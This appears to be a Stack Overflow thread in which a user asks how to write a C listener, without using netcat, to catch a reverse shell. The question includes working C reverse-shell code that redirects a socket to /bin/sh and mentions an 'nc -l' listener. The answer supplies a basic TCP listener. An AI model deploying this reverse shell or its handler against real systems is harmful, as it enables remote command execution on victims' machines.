2

Does anybody have any ideas on: How I could implement a server for this client without using netcat?

I've tried different things but as I'm not too familiar with pipes I thought about making this post. If I use this code and i set up a netcat listener such as "nc -l 1234" I would receive the redirected shell from the client below.

How could I implement a server with the same functionality as netcat, but without using netcat for this particular client?

Thanks.

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in serv_addr = {0};
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(1234);
    serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    //system("uname -a; w; id");
    execl("/bin/sh", "sh", NULL);
}

1 Answers1

0

The following code creates a basic listener that accepts a single connection:

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    // 1. Create a socket with the socket() system call
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    // 2. Bind the socket to an address using the bind() system call.
    struct sockaddr_in serv_addr = {0};
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(1234);
    bind(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

    // 3. Listen for connections with the listen() system call
    listen(sock, 128);

    // 4. Accept a connection with the accept() system call.
    struct sockaddr_in cli_addr = {0};
    socklen_t cli_addrlen = sizeof(cli_addr);
    int acc_sock = accept(sock, (struct sockaddr *)&cli_addr, &cli_addrlen);

    // 5. Send and receive data
    char buf[1024];
    ssize_t nread;

    // Read from stdin, write to socket
    nread = read(0, buf, 1024);
    write(acc_sock, buf, nread);

    // Read from socket, write to stdout
    nread = read(acc_sock, buf, 1024);
    write(1, buf, nread);
}

Of course, you will want to make this more robust by checking for errors. You probably would want to wrap steps 4 and 5 in a loop to allow more than one connection.

Step 5 is just an example of how to communicate over the socket once a connection is established. If you want to continuously pass data between the terminal and the socket (like netcat), you will probably want to use a select loop.

References:

augurar
  • 12,081
  • 6
  • 50
  • 65
  • thanks for the reply @augurar, the part of setting a server is clear, my question resides more in the part about interacting with the shell itself rather than setting up a server skeleton code. – Ñach Huidobro Feb 16 '16 at 04:42
  • im not sure what steps i have to follow in order to interact with the shell fd. – Ñach Huidobro Feb 16 '16 at 04:55
  • @ÑachHuidobro You can read from and write to `acc_sock` like any file descriptor. What do you want to do specifically? – augurar Feb 16 '16 at 07:04
  • is there any chance you can write a PoC of a server that handles the client above?. All i want is to create a server that handles the shell given by the client – Ñach Huidobro Feb 16 '16 at 07:17
  • @ÑachHuidobro Added an example -- communicating with the socket is done exactly the same as with any other input stream. – augurar Feb 16 '16 at 08:19
  • Thanks alot augurar :) – Ñach Huidobro Feb 16 '16 at 08:52